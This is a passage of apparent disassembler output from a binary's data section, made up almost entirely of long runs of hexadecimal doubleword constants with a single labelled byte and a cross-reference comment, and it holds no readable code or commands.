5C7070Ch, 4E7BBF18h, 8B5EC803h, 0A55E92B5h, 7213F06Eh dd 0FD2B1389h, 51F6620Ch, 0A53DD70Dh, 7B2FD101h, 5888A7DAh dd 0BF073539h, 2C577E5h, 0E92DDE01h, 202B0689h, 481247D2h dd 0C213FAE0h, 2762B0D9h, 0A0F150h, 0C2C98D43h, 0B41F2146h dd 8ECFF5F0h, 0DC682363h, 0C0F07E39h, 0ADF8E39Ch, 96674CACh dd 7FFBCB74h, 123A6108h, 9A31AB56h, 5336965Bh, 1B112DF0h dd 3F0A3302h, 4AB5FF64h, 84B77D1Ch, 0A3B3D480h, 2C4738AEh dd 67EDF3B1h, 1F1E61CBh, 0A1D46AA4h, 685B0480h, 0D43B0006h dd 240481ACh, 4A17C8F9h, 74080353h, 338D121Fh, 4BE731C5h dd 0DBBF12C8h, 404D904Ch, 244C0294h, 28B71337h, 712D311Fh dd 74348088h, 0CA2986Dh, 0C3D1A800h, 0BB0D6C50h, 0D72E1C09h dd 0D3575C5Fh, 0E1035190h, 0B9963248h, 39E4E89Dh, 0A40B34A1h dd 0C88B894Ah, 0F6155C0h, 2D068734h, 1E030ABEh, 0C7D9056Ch dd 0A709CD85h, 17C3B727h, 25D70469h, 35101622h, 905696A7h dd 2789C5B4h, 855A7D95h, 6EDE3E5Bh, 0CF2A27C0h, 0F7E4EAFCh dd 30502107h, 4407110Ch, 0E8C10130h, 0EA6F510h, 894C1F0Dh dd 82685803h, 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h dd 58180621h, 57016813h, 98DC491Bh, 0DA85090Bh, 5EBF03E8h dd 2953B162h, 2924D5D9h, 0D41FD62Fh, 58D7555h, 5F44B351h dd 5D64B02Ch, 0D2EC6D03h, 51B50109h, 0F87A1922h, 3305D621h dd 27455204h, 97E78100h, 14C5551h, 0A78A21B2h, 0C440D74Dh dd 3D4AE67h, 0ECE8D98Ah, 820B9DD7h, 0C06C7FAh, 9D600460h dd 0C4762AE4h, 5D9E9805h, 0F4F18924h, 0BB967750h, 0C03309FBh dd 0FF0F503Ch, 70E5EC36h, 0B9B86182h, 6F18BB25h, 0D71844E1h dd 26889C08h, 1B46DC25h, 0AE755900h, 3C8108BAh, 24DD824Ch dd 37ADF67Dh, 34190035h, 0DD8AE2D9h, 0C4868919h, 882BF81Fh dd 0F1009D66h, 0A40B5632h, 4E6346E4h, 518E327Ah, 4C22240h dd 0B389A95h, 90DBD295h, 80ED7D16h, 205F5089h, 4600F6A2h dd 53917331h, 9D988FC5h, 0FDFEF717h, 0F6BC6FE9h, 9D318809h dd 4E4BFA85h, 332F4986h, 46638609h, 0C76E5E5Bh, 0A7026D3Fh dd 0C9B3656h, 2611BDC0h, 0FB490391h, 0E00A700Eh, 0B04A9202h dd 0F56050A0h, 15B784h, 0C830BF66h, 678BBC61h, 90996429h dd 6E4ABB43h, 50735419h, 0B530C72Eh, 0B240534h, 64251D9Dh dd 0D1A18153h, 96B6782Eh, 32B84E25h, 48013111h, 0FB472D0Ch dd 37D9D8DFh, 3791506Bh, 0F0BE89C4h, 23686E8Fh, 6821F92Eh dd 6A16BB01h, 0CEBE5365h, 9B6B9251h, 9E05C2A5h, 32F92A0h dd 13AA2CAAh, 0ED21AD5Ch, 1F22E894h, 0C28FF4E5h, 3509B529h dd 211FB908h, 8A0240A0h, 618C4F95h, 0D40782E1h, 0AE09DA10h dd 82DC8AD1h, 7D16151Ah, 0E50048BDh, 0D023CB8Dh, 4983027Fh dd 2179BD89h, 0C6FEC990h, 0D5D8C4B3h, 8E660255h, 0AAB074D9h dd 7005C51h, 0E773DF7Dh, 1EA52E44h, 0CBDD1B38h, 0BB042370h dd 52969A56h, 148B82BAh, 0F3BDE900h, 6E3BE3FFh, 6D220272h dd 0DEC18B86h, 28FADC68h, 0A7EFC701h, 0D514127Bh, 9FFD9A45h dd 3FE9DD4Ah, 0A181809Ah, 0F8B574FCh, 499A3A73h, 0E2502940h dd 5BB825B3h, 7827FC63h, 51CAD3B1h, 0BC21819h, 0FA7384BCh dd 5B234B7Eh, 5255758h, 0F673C01Dh, 7E54F294h, 0D56E0F01h dd 7480D972h, 0A5918EF6h, 0BB91FE77h, 63072B95h, 0B8D4AD9Dh dd 0FC608B93h, 0C562EF22h, 0F22014E9h, 0FFED7Ah, 797D1197h dd 0D643AE5Ch, 0B12AE900h, 39A23F58h, 9D6150D2h, 0B3560252h dd 310F5B1Ch, 211F89C6h, 51C0CEC9h, 57E85AFBh, 321E9DBh dd 1BADB204h, 0B40023B8h, 7DFCF83Ah, 4181B509h, 9E3C6111h dd 72A58952h, 0DB3BF166h, 33C0C0E2h, 16D40E99h, 9CC7E2Ah dd 3E299DCDh, 916B3577h, 0D7B38118h, 40F2FA8Ah, 8214C942h dd 6060A956h, 3E7AE080h, 0E5253153h, 8259DE05h, 0B75DD16Ah dd 5D0D041Bh, 0A27AB8D1h, 0C257CF7Eh, 0AEC17BBFh, 25CD2249h dd 70A17302h, 0B325C2C4h, 7A5D150h, 901008A3h, 0FD623393h dd 5C1A1E25h, 0B40160B6h, 65092C10h, 7DFFBF6Dh, 0ABDF8D32h dd 0F10332AFh, 85680033h, 0DA7E90EDh, 0CAE95B12h, 8A8975E3h dd 0CFF3A829h, 937BA70h, 9D33BB49h, 66A55256h, 810F244Bh dd 0C2E449F7h, 65D99100h, 0EB473208h, 0A7DC00CEh, 0FBDD1C1Eh dd 0AB868B0Fh, 66043EBFh, 60FEDE31h, 0FCD46E61h, 1280BCCh dd 17EEE3CCh, 270120A9h, 66A64EC4h, 87FEA9A0h, 8E298C04h dd 99B9761Ah, 253C6C94h, 5B998A4Bh, 48891D9Bh, 0B5ADB473h dd 0DDE00396h, 0CBF884D7h, 120B6695h, 0EDFF6A5Ah, 568EC01Fh dd 85016EBFh, 0A10BF953h, 0C87E2951h, 0BD168BB3h, 0AC5734D9h db 90h, 6Eh, 0BFh byte_544547 db 29h ; DATA XREF: ___:off_44721Co dd 133F000Fh, 0A8DF2CE2h, 4B5CBE4Ah, 0AC945F9Fh, 22699E04h dd 0A4A7D6B8h, 14692101h, 38827E09h, 70E60205h, 4B6580F5h dd 9071E483h, 97D84B0Dh, 0B90104DBh, 6CAB8078h, 97EA0DEh dd 1D5E76Ah, 7197E670h, 1DA40B69h, 1D4866D6h, 0D5D4FF80h dd 93CB690h, 5F910249h, 856195F4h, 0C1120139h, 3ED87AE1h dd 0DCF76D90h, 88547B16h, 0D4003ABBh, 0C82B57F0h, 0E1559D23h dd 0E5D13D9Eh, 67EF5240h, 5E1F6D77h, 0F8535B61h, 77315188h dd 351B659Dh, 1242BD85h, 2EA2870Fh, 27508029h, 29765C5Ah dd 91284D2Ch, 17F354Fh, 0E6D27F99h, 47BB5B3h, 0D269D3Ch dd 0F2382C5Bh, 0E310B912h, 121521F9h, 92D248Dh, 0C1E4FAC5h dd 1D79F580h, 0DD2BF981h, 1825C56Ah, 0E5224584h, 0FE1543A5h dd 14854619h, 7C579539h, 66410474h, 2F8177BBh, 0A9A0661h dd 8041DB05h, 5FB91699h, 85116C1h, 9DBF42FEh, 39751C91h dd 70AF29F0h, 85B99401h, 0C697A80Eh, 0E4CBE7E6h, 2E0E62FCh dd 0BDA6F6FBh, 0D01980E1h, 6809A80Dh, 60F4BA02h, 3FC02B7Fh dd 1ECA8D89h, 0E6D21685h, 0F713E026h, 2C0B075Eh, 0A95B6CD6h dd 0B569F773h, 3C5089A9h, 1D5FC450h, 6180C89Eh, 0D9ECEACCh dd 0BC012A05h, 58A8D5CDh, 0E5BF0F1Ch, 0F6BB1AE4h, 4EC64D70h dd 4FB5B3A9h, 92CE43C3h, 49A45D95h, 4081F361h, 6825D3F8h dd 0BDE5C6E4h, 13C0EECDh, 239CD78h, 67A3BA6Bh, 4D662107h dd 1662B124h, 89083201h, 0E22BB69Fh, 57E400B8h, 4F1812F7h dd 0BF9801CCh, 1C0949D7h, 2B2B2F5Bh, 95336004h, 11DB03Dh dd 1119851Ah, 51E356EFh, 0DA77AC94h, 0C5DD16DEh, 93A784A9h dd 0E784B855h, 0F822B076h, 4CF50494h, 0BC31FC8Ch, 0AAC8D624h dd 996800E5h, 5DE451A5h, 3728F762h, 3102FB7Ch, 3664DE08h dd 85376049h, 0E1FF8015h, 3F379Dh, 0ED68894Bh, 0FF4BABF5h dd 0F112F38Ah, 0A14AA703h, 282ECEE8h, 47D4E2D2h, 0C5D82586h dd 219C18D2h, 0FE158B51h, 0AD3F605Fh, 0C16F4DC1h, 30062CDAh dd 2D4F118Fh, 9A4A95B6h, 0C69480F3h, 1C4D2DC2h, 0A28E0F6Bh dd 1440BD94h, 27B8026h, 0B31F8315h, 0D782401Ch, 580907BDh dd 785093D4h, 24976E85h, 0CD5709EEh, 0B817698Eh, 5753023Bh dd 0F4EAC41Ch, 5669D45Ch, 905D329Eh, 910FCCC6h, 2160E99Ch dd 52501E5Dh, 3172E1DAh, 97D94430h, 0BA85AC29h, 3439C090h dd 0A3D3A138h, 5232D82h, 0FF9488E8h, 501F0338h, 0FA8B11ABh dd 1AA2005h, 4612023Ch, 0C38C820Fh, 0F2D5D68Bh, 4D61018Ch dd 958AE8F7h, 1C4B63D4h, 98B78D8h, 3FCA5F52h, 3F006751h dd 36A33BEEh, 2069048Eh, 0A9585FC1h, 1FE6B8FFh, 416FA537h dd 0CB8032D9h, 78302AA8h, 1246E781h, 0E316CD28h, 0C0004887h dd 5A0B5CC4h, 0C8F618h, 894D8B8Eh, 736DD12Ah, 45480D02h dd 5597E924h, 0DB2E22E4h, 0F3264529h, 935666A5h, 0BD17787Eh dd 125D485Ch, 4FE3C4DEh, 0C5BF127Ah, 7936E13Bh, 1ACEC15h dd 9A78AAB1h, 60B470EFh, 2841E9BCh, 35001933h, 55E58D87h dd 0C64BD6F6h, 0BC183F8h, 220B99Dh, 69565C5Bh, 26BD8F4h dd 0D115D3Dh, 39C303Ch, 290B548Ah, 3BD64BA1h, 9E7B32D4h dd 3FEDDC0h, 2B044687h, 0C4D34596h, 10E511Eh, 8C1ABF50h dd 367809DDh, 8997B71Dh, 897FB59Dh, 0B61B58CFh, 6B7CF6D3h dd 0D2703D06h, 2E84EC1h, 72D968F9h, 0C5CA223h, 0FB912602h dd 70A57B5Dh, 1902A4EEh, 0F380C86Fh, 6D295CB3h, 0E926AEEh dd 857190h, 106ED0ECh, 0DA16B6C6h, 0EE25094h, 0BC09643Eh dd 0C7D089F2h, 9DAC5D90h, 0DC9696h, 0B393D0E7h, 98C8A130h dd 12616148h, 6E74A34h, 0DCFF71B4h, 27E901A8h, 3207382Eh dd 18F6C19Ch, 132CE919h, 0B50830Fh, 5448C06h, 33C909BBh dd 0B712C7Bh, 2E4D27D7h, 0A0B7F4C0h, 0E3623F91h, 0FDE6CDA7h dd 0A5953108h, 987242Dh, 2F7118B9h, 5F044BC2h, 3F00D6BDh dd 603236AFh, 81DD008Ah, 4BA73AD7h, 0FDA56102h, 4F041589h dd 0BCE340F5h, 0BD2533D7h, 0B9E8781h, 5309B967h, 3A63AD93h dd 5D5CBBD2h, 5DEB368h, 0A0680680h, 0F482FF18h, 690C5CF5h dd 34DF3887h, 25AEE38Fh, 0BE5FC6D9h, 4504DC39h, 21B31208h dd 29EDA781h, 0CA509601h, 2B39A1E1h, 7189D05Dh, 68685928h dd 0A1007E77h, 95741C27h, 980B6797h, 85E90510h, 84719D89h dd 9998AD28h, 0A22AC19Ch, 5A8C420Ah, 0F1E4BDB6h, 0A96CAF65h dd 0BD995AB1h, 601211BDh, 9E2A94E1h, 0D1B3C05Bh, 62E9134h dd 0EFCDFE2Fh, 5D7BFA51h, 2F385F81h, 1A7F89C9h, 9CC99045h dd 0D7A10999h, 0BF700178h, 0E8EF811Eh, 0C24BA53Ah, 123757B3h dd 805CCB01h, 203F4291h, 62D6CAF9h, 447DE3F2h, 24C61E00h dd 872C4A86h, 0DB18971Ah, 2611DF80h, 0D3000BE9h, 0F75E8B01h dd 963A9EC3h, 0CA8F2576h, 58BD5FCBh, 0E8292E00h, 90F98F5Ch dd 806BB198h, 5B7F58F1h, 543F737Eh, 458EB86Fh, 0F46E50EFh dd 810642EDh, 9D2355B7h, 757E18D9h, 802CBC3Fh, 0CA7BBF89h dd 7EB8035Dh, 9C6FAD32h, 889F4896h, 0D3A47E3Ah, 0B43B5900h dd 4108712h, 0DF8B81B9h, 0FEE8A45Bh, 0E605080h, 0D5120CBAh dd 0F0E276h, 0DC7CE203h, 625C8Dh, 94344EC0h, 61706551h dd 0F209963Eh, 4B652256h, 821D7CF0h, 64DE5C0h, 0B7F23A97h dd 0E6985AAh, 0BE22C364h, 0A712BCA4h, 75C1A778h, 0BA500310h dd 75C7EADAh, 0E916DD37h, 23D701EAh, 580CADBDh, 9D263178h dd 6AA5CCE1h, 0F4BDFFFDh, 7400FD3Dh, 0B460853Dh, 24D941BFh dd 88D35AA1h, 5B140739h, 8535C0D4h, 0F65E28h, 201DC5C9h dd 0AE793F75h, 2554B652h, 951EEEFCh, 6241194Dh, 0AAD98B38h dd 0E72FC341h, 571C282Fh, 848BB28Bh, 0FDB4E81Fh, 49160069h dd 2E90FD54h, 0FF00C738h, 0FC0EF1C1h, 25D37EBBh, 15E65BF9h dd 79B740BFh, 53608233h, 0C67061F2h, 786D5B95h, 9204254Ah dd 599D035Dh, 0CB4A41E8h, 256E4EE9h, 0FE0BA000h, 814F6371h dd 4B79E301h, 6FE91D5Fh, 0E205162Fh, 0DEB10089h, 36200853h dd 778027Dh, 1680AB68h, 17D5F782h, 886B0E2Dh, 0B7BFC13Dh dd 53580B8Bh, 0B85BEA24h, 0D3E0D7FDh, 0BB908032h, 395E4809h dd 20855033h, 0F84B310Fh, 2594DECh, 0BD05F2BCh, 29B52A75h dd 344B13FAh, 0E383AE84h, 0F4ED4A02h, 2541758Eh, 8708AA87h dd 8157F4FEh, 7C76D83Ch, 0DE052514h, 502B336Eh, 0E1E31E12h dd 4BB7C3A0h, 0BD91172Dh, 0C5C70EA0h, 0D6F9F3A3h, 78253BBCh dd 0B557CEFCh, 3C0077B5h, 1A681030h, 0C95607C0h, 198D7865h dd 9C3FD5h, 7A1299DFh, 0E528690Dh, 7120B589h, 0D1FF2516h dd 2BA9CA90h, 0C4E6ED12h, 0A8885EE2h, 0B19467Eh, 0F8BE79h dd 0DDBB54DBh, 3E2E2FB7h, 42E0CAE0h, 0FF026A26h, 0F6B112DEh dd 2EA2A80Ah, 920FE790h, 69BBA026h, 0F728EE5Fh, 80AADB6Eh dd 39522606h, 9C540B22h, 562BCD42h, 95D8C0DBh, 0E7F6C2C4h dd 0AB5450F1h, 88E31C12h, 0FED00B93h, 1F458DF8h, 0AD4989D9h dd 3F22202Fh, 0D1952423h, 0EA070031h, 0BE1BD6D5h, 501FAA07h dd 98BB3708h, 7444882h, 0B6BA3464h, 2E5AC166h, 98352E22h dd 0B220A1F1h, 50104015h, 81057EC8h, 0CA5CECBFh, 2BAB2571h dd 6EFF4B64h, 41B82DC1h, 0B73E1561h, 6DDB4A6Ah, 80CF1888h dd 21109FD3h, 2BFF09BBh, 76731222h, 0C7A0D83Dh, 2463290Ch dd 0C1E6F84Eh, 7CBAFE1Ah, 0B1A740CFh, 0BFA71662h, 0C41F5CDFh dd 5DE25615h, 0B516ED00h dd 8D7E4D3Eh, 2FC3D600h, 0ADCB777Dh, 38B3712Eh, 8009B055h dd 2D700EDBh, 0E904BF71h, 0DE8B71E4h, 0E7302BB9h, 159D2353h dd 0B6852662h, 0E9D685C8h, 9C7B89F1h, 0C18817A3h, 0CEF0481h dd 0B858F5CEh, 80E15C11h, 0F97E21B0h, 83404BC8h, 81B52B16h dd 89276188h, 78AD143h, 720A1A5Bh, 53972160h, 0C87007B3h dd 7074B201h, 0D3AB09FEh, 0BF051471h, 1E9412C6h, 53EBE484h dd 0D4F1CD00h, 344BBDB5h, 44E90E88h, 0D801DD08h, 1C5E4E4Ah dd 20A7311Dh, 0B9DEE984h, 86212205h, 727A00E3h, 0B9329278h dd 0CE039973h, 0A1A659E2h, 916E5FE6h, 853BE979h, 10D78033h dd 0F82A32BBh, 0B80FCB84h, 0A725880Fh, 0A73F48D8h, 18A528F4h dd 139DFE58h, 5F9416C9h, 23517607h, 250B45D3h, 12CC5F0Eh dd 181AED20h, 19018A0Fh, 0D3956AF8h, 0B2887809h, 0E8CF54Bh dd 0BFB373B9h, 0FCE19998h, 0F0BD36E3h, 9559774Bh, 0BD2B9310h dd 28146949h, 1500BBAh, 54823080h, 76827ADFh, 9556E676h dd 522FCE48h, 20604B2Dh, 32486475h, 0CEF08700h, 39130CDBh dd 80C33881h, 0B2A8C492h, 30A75B83h, 9EFB22A7h, 3A958558h dd 52AD5B9Fh, 0A6FAE875h, 0C5DA16C1h, 1D4AE660h, 59E58D9Dh dd 56537AB4h, 0AA7670h, 8157CA07h, 0AB8E97DBh, 655B1A25h dd 0DE8516A2h, 71E8C95Dh, 0A04E000Ch, 990F338Eh, 0A4FA509Fh dd 0A96D9715h, 0EB9273E1h, 1F34822Eh, 0D6CD5409h, 0E4001C46h dd 0F657DD60h, 0C45826A0h, 84E12763h, 38AB0FFAh, 158B1186h dd 1331D18Ah, 19110188h, 5268BF02h, 0FD8461A7h, 0D95308Ch dd 8531802Eh, 2512554Dh, 3C926561h, 0DC72D768h, 0E21B5A01h dd 0E31A9DA4h, 126660FCh, 0B190C6BBh, 0CF64208Eh, 62094725h dd 7095D357h, 3D122055h, 5AB4F899h, 0B6017011h, 0AE05DE10h dd 8E6A9FCDh, 0C24BD9F3h, 54091F7Ch, 8E8ED632h, 7B39BD00h dd 0B2D496FCh, 842E5BE9h, 0E91AA118h, 9D011054h, 3F6BE925h dd 3162353h, 0FEB4399h, 9FC515FAh, 7ADA7400h, 5C9FB605h dd 200F9DDh, 0AA5AED17h, 680165D3h, 12F69472h, 802AD98Bh dd 0E9978DFDh, 769B2EF3h, 0E09A5B80h, 2A058202h, 0A4C0589Ch dd 0BC1A8F8h, 217C5BDh, 5D818260h, 8E0F0228h, 57B6616Ch dd 0E1CC6197h, 890E25B3h, 0E0BE134Ch, 199E985h, 95FE4588h dd 2BFC6299h, 5C34134h, 8D534AA5h, 62FB2043h, 43C12212h dd 892C06B3h, 0D0A19DDh, 7B406106h, 0C624DC55h, 0BE19C58Dh dd 0DE7A24E0h, 74B44190h, 260D709h, 7D066DE5h, 0B300646Ch dd 0E1663E2Ch, 76B48Fh, 0EEF36281h, 63E2A867h, 58E3E8F3h dd 393B6148h, 50961C6Fh, 0BFA5B65h, 8DC05FD8h, 969522D9h dd 0D4CC941Ch, 72FE9A02h, 0E626F834h, 498D00B6h, 38F06F1h dd 680466E8h, 22A29097h, 3F57F9E1h, 0D5BD93B3h, 5E097B6h dd 7C1C1CAFh, 4E406FF6h, 0DE8BD98Ah, 0CF855E8Dh, 0C016C859h dd 90481F52h, 0AFD29097h, 0E86300BCh, 0FD5ADEC6h, 504BAA46h dd 384470C8h, 10097E16h, 0B002EF98h, 0B757905Fh, 0A63200F2h dd 58525FB4h, 5820605Eh, 2FC590DAh, 2B5AA1EEh, 6A0766FCh dd 89A0BD7Fh, 120563Fh, 4AF98D09h, 49FA720h, 61FBBF0Fh dd 2AB954F9h, 0C85E9E8Bh, 8402F97Bh, 0E44508DEh, 758F42C1h dd 9D5189A9h, 0AF905D69h, 0FE008419h, 6542C434h, 1DE8A23h dd 7E18BB76h, 0DAB3C892h, 5359E9FEh, 0BB66203Eh, 98918B93h dd 887B3587h, 8197790h, 61A400B6h, 0EDB43C13h, 0FFA08A89h dd 0E9F68194h, 0A7B4A4Eh, 70F6102h, 446A9159h, 0A1BD6677h dd 9FEB5E6h, 2DD7B351h, 945EF490h, 9AB44301h, 7684D123h dd 0E93101CDh, 3F098EA5h, 0BF82F3B7h, 82EC0D4Fh, 618D2DDBh dd 8F2A25D0h, 45F13EDh, 0B8E8F3B9h, 0E41C7700h, 0ECBF667Eh dd 0BD659534h, 0FBE70493h, 0B0DB52A0h, 82051180h, 2F695960h dd 8BE2E8BCh, 69B656DFh, 9823A79h, 562F7185h, 0DEF6E912h dd 96D91060h, 9AA802CFh, 67702BFh, 0EDEBA256h, 0B7D941FEh dd 60176093h, 8B7BB107h, 818061CFh, 5CE08FD3h, 9D0961B2h dd 0A05B2ED1h, 0B41C1A79h, 210B7074h, 260C70Fh, 51E29AAh dd 2C93C231h, 0B71EAD0Ah, 13A666E5h, 0D2399D33h, 62DE8F5Ah dd 0FE445449h, 52E8AF00h, 0B53D64BBh, 0E9F29593h, 61AB9E16h dd 0B4A39E12h, 0ABC48925h, 819E1895h, 0AE9809F3h, 24C65B28h dd 9E78059Bh, 0EB570138h, 800F7ABEh, 70EB140Ah, 0B78CBCB6h dd 9AC50E4Ah, 25B8E8EDh, 31BD1600h, 0B7515698h, 0B88995F7h dd 5AA5CEB7h, 0C5D73E3Fh, 128E47A6h, 5AAAB3FBh, 9515B9F0h dd 0F84F686Eh, 6FA065E7h, 0EE4A16B4h, 4E715DE7h, 0E82CA91Ch dd 6F5D00ABh, 544538CCh, 9D100929h, 0CD5F242Dh, 46A3AFEh dd 307FEE16h, 9B01435Ah, 2116710Eh, 0B70AA024h, 131CEE6h dd 0C38FC64Bh, 498CEE36h, 80807C6Fh, 626E7288h, 25D3016Ah dd 55D63781h, 0F7C9F099h, 8A354404h, 97AC5FFAh, 0F0F6B693h dd 955EF171h, 74459394h, 99005963h, 0F7805257h, 92018945h dd 0C5CA93B9h, 6E60C690h, 0B710BD60h, 0E2B8BED7h, 0C8321B00h dd 6F5B7E73h, 52502A3Ah, 9B610073h, 0FFBBAB91h, 0E139F855h dd 0ECA80169h, 60267497h, 0B3A6047Bh, 57D4FE8Ah, 0B79BD012h dd 0F0FBF782h, 1C29047Dh, 7E14C017h, 85995B24h, 8ABE3549h dd 209D5367h, 0DF803C1Bh, 572AD2D5h, 0E067F6F7h, 1722237h dd 14D3630h, 3317B9B5h, 0FAA996DFh, 9B054AA8h, 9D034320h dd 9556D7C6h, 6B600099h, 8529D407h, 0FB29F799h, 4D46E751h dd 6E438D57h, 0DFB23A42h, 5369E856h, 331AD8DDh, 3025B02h dd 3C18B1BDh, 12D44BBCh, 0B1EEE978h, 339B3FD2h, 0CAE9B680h dd 0A54CE073h, 69F904F9h, 0E8A9C18Bh, 0DC0114B8h, 0F1853425h dd 0DA6AA50Ah, 0C118C8C0h, 61F032F3h, 359041EEh, 0D8A064CBh dd 29094A76h, 24323195h, 8CAA5006h, 6A95562Fh, 0EF37FDE4h dd 5AC6E709h, 23D715C3h, 0A31807F9h, 95F5DCF2h, 0C407FE25h dd 52789790h, 0C89CBA07h, 0E670F08Dh, 90EE7AFDh, 0DC92F5Ch dd 5561AC4h, 6CADF0DAh, 0EB01258h, 0B1D5A14Dh, 26B562E9h dd 40EB8000h, 1D8B60CFh, 0DE037625h, 0B55AA616h, 223130F8h dd 2AECC75Bh, 1AC880DAh, 3C8B8FC0h, 56A51D4Ch, 559D84A4h dd 8270AB26h, 93D1FFF5h, 3AB97847h, 49398B00h, 89E6A9E5h dd 0E5D2F9Dh, 1F117EA2h, 45295909h, 0ECAFE96Ch, 45BF3F53h dd 2B0A5703h, 0F7B06054h, 0EE48FF8Dh, 6DB9005Fh, 26A61A6h dd 0BB9000F9h, 158FB896h, 0F379B350h, 7DC0FBEh, 0B27FC3Ah dd 0ED0F84BDh, 28B7C4CAh, 0C178F182h, 392BB5A5h, 6932A8EDh dd 0C467CD97h, 0AB84AF9Dh, 0DA8BB245h, 0D4B8AFF9h, 7AC04E03h dd 8F49B5D3h, 9D0071A9h, 44CDD629h, 888A500Bh, 0BD5B0180h dd 8A4A90A9h, 12A94AFAh, 139020A8h, 5907CD25h, 0C8D64961h dd 77D7F20Bh, 1492D835h, 6ACDE860h, 753795FFh, 0E112D605h dd 3391BF81h, 81FDDE6Ah, 0C4542A8Ah, 1817622Eh, 0C1B58920h dd 0C64B508h, 2CCB8109h, 11087095h, 1609C7BBh, 0DF52F59Dh dd 2AE20CB5h, 0EF28163Fh, 70F9A309h, 5E50970Dh, 414C2347h dd 0C5176748h, 9249B818h, 301E07F2h, 2F6149F4h, 0A4320671h dd 8B82A2E9h, 0F349D0D1h, 15CD0778h, 6FEF31DBh, 20EA6AD5h dd 0A84A3A99h, 55F58F00h, 0EDE02B06h, 5284003Dh, 0CE2F7EDFh dd 948E5D8h, 40094F46h, 4A06705Fh, 2531F851h, 0BD095925h dd 17D59D08h, 305927C4h dd 3E4E3885h, 68A9460h, 1D14880Dh, 91499729h, 2350E961h dd 0D0EF0B3Fh, 557B6228h, 801297C6h, 83C2B9F7h, 1EB15524h dd 221E1630h, 0A5502B41h, 419DFE1Eh, 742E3307h, 539F1F80h dd 219E240Ch, 0DDBD339Fh, 6C0CA531h, 24D3201Ah, 9F6BC94h dd 5595C29Eh, 44AF1571h, 66BF3D50h, 0BED0E00h, 8F5ED315h dd 0C7544B03h, 0F0CD591Bh, 2FB9B1AFh, 0F6BD0804h, 4BB56501h dd 0F894F09Ah, 0FCC9AAB9h, 0A7C0A24Dh, 27BE3BBBh, 8AD9F44Ah dd 7DC86C00h, 0CA8D2Ah, 718B72BFh, 3FF26266h, 0A705DC75h dd 0FC9FB338h, 0DB8C4E9h, 97259102h, 0D72ED2F7h, 12807985h dd 4B95E9ECh, 86BD9557h, 0B902B4BCh, 4C65E55Dh, 49B45C9Ch dd 8BE2AE59h, 0EF81EDFBh, 0D64287A0h, 129767AAh, 8F8C71CDh dd 37120F56h, 2B99D2AAh, 5F2194D5h, 0AC01C423h, 4A89BD73h dd 0BD5D0109h, 56F2274Ch, 195D0F90h, 77CA4A41h, 195B6C25h dd 4BA0ABD8h, 21E182C5h, 9229EEB9h, 53E2086Ch, 1C6BD3h dd 4EAC0232h, 41758D89h, 5B4662Dh, 8E0FE1FFh, 0B3482BA3h dd 225ECA4Ah, 25E49057h, 5EC732A9h, 0AADE5F16h, 0F694E3C1h dd 2A7F2053h, 14975BE2h, 59F84369h, 0ADAC5Dh, 0EA49F4AFh dd 2E8A1347h, 5810F13h, 0FA54DC61h, 37D5FB02h, 4D4E81F9h dd 2B29B68Eh, 0D8AF4284h, 0F23CA74Fh, 0C282A5B2h, 190486A2h dd 910CC4E5h, 65AB08h, 0BD8072DAh, 885F6A46h, 0AB2DC6E4h dd 491A5489h, 0C862B25Ah, 56F98B33h, 3F826970h, 945C2C45h dd 40D118ECh, 60005025h, 0F5BFEFB6h, 0B5417BD9h, 748810F2h dd 0F618DE0Ah, 9C4F449h, 0C0C15F9Dh, 4BF268AFh, 0BBDCCB1Eh dd 2C9C0585h, 0D0535FCh, 0BE2353B8h, 6A0B906Fh, 9302158Eh dd 8001223Dh, 882C29F3h, 0C196DE5Bh, 8E86093h, 0D2913010h dd 73A4F80Fh, 79A3779Ah, 0C50592Fh, 382F6922h, 8DCB61F7h dd 93B44369h, 3830E991h, 9BB3A89h, 710CFF80h, 27BAA069h dd 0FEF92639h, 0D4DBFC69h, 0C07F6E2Fh, 97EEAE00h, 377B8A12h dd 0B6ACC78h, 0EBA4F09Dh, 8160095Eh, 25373ECBh, 0B1CA1FE0h dd 403F4FD5h, 374640CCh, 1652850Bh, 0C4E78E8Ch, 13562C21h dd 0D820AB83h, 1C05FB2h, 0E78AC2A5h, 0E84655B5h, 0E3273EF3h dd 4AE1D820h, 4BE5A75Bh, 0CC81829Ah, 0EC2278A2h, 914DEE7h dd 78ADFE4Bh, 47A66212h, 0D5360DF1h, 9A077AF0h, 0AA0AF409h dd 0F85FE4A3h, 0AF67007Bh, 30F16BEEh, 0CFFC58BFh, 2CE29948h dd 0B11AA5Bh, 0B781603Bh, 459D33CAh, 84C23C0Dh, 0F353068Bh dd 98135A94h, 5500C3A2h, 0E659A29Fh, 0EA257D08h, 7D1AE2B3h dd 0E88069BDh, 9F7580E0h, 63650982h, 49769EA3h, 0C931D70Ah dd 68A93318h, 6FDF70A4h, 4E531EE1h, 1E445B0Fh, 0C0ECF81Fh dd 33F63807h, 27E72F7h, 34BDABE3h, 46F56A9Dh, 240158FEh dd 0B85F0234h, 6FAF9215h, 88010091h, 8BB19B41h, 445598D8h dd 344A0709h, 204A14F6h, 0A84EEC72h, 89B51313h, 764C7DADh dd 0C5A61A16h, 0AB6BAB9Fh, 823B1923h, 0E842992h, 0B1FBC0D9h dd 0E6F7D311h, 0CEB4E001h, 8BB14B57h, 3BBB0FE6h, 65257ED1h dd 0E72416AFh, 7B007036h, 0BDB95495h, 0FD288Ah, 0F24D6A1Ch dd 0A6AC3A10h, 0DE111E77h, 0F15A21E9h, 0A43B2BE3h, 722109E2h dd 77F46C02h, 66D113D5h, 40F2A8C2h, 5925B5FCh, 117CC723h dd 0C5F14B86h, 7634AC0Bh, 0CD6EEE21h, 634AF05Eh, 23098872h dd 0FC07C9BDh, 2AE158A4h, 27452084h, 854A9095h, 5F5D00DBh dd 413953C5h, 0C44A165Ah, 5C30C6CDh, 2B0A45F1h, 73045625h dd 25BA50DAh, 0C7C9AED8h, 0D1108EF8h, 0A2003617h, 436C7ECAh dd 0C10D7B0Ch, 0E8152A55h, 9B2B5821h, 0C5E18049h, 0EF3F5A5h dd 6076F781h, 115659E9h, 9F100055h, 424665B7h, 0F84B5F77h dd 9B2E628Dh, 0B13585E5h, 0EE018Ch, 1EC9D18Eh, 0B238530Eh dd 0DCC8C509h, 82FF8219h, 9C02806h, 2C7B0B61h, 55203EA8h dd 0ECBDEC2Ch, 2665950Ah, 44676DA7h, 79D7834Ch, 0FBA3514Ah dd 0AD74845Bh, 1AD78397h, 806DC8F4h, 13C74ECBh, 2D7BEA0Eh dd 0AF6AF600h, 0F32DE06Bh, 0B108834Fh, 4C2892Bh, 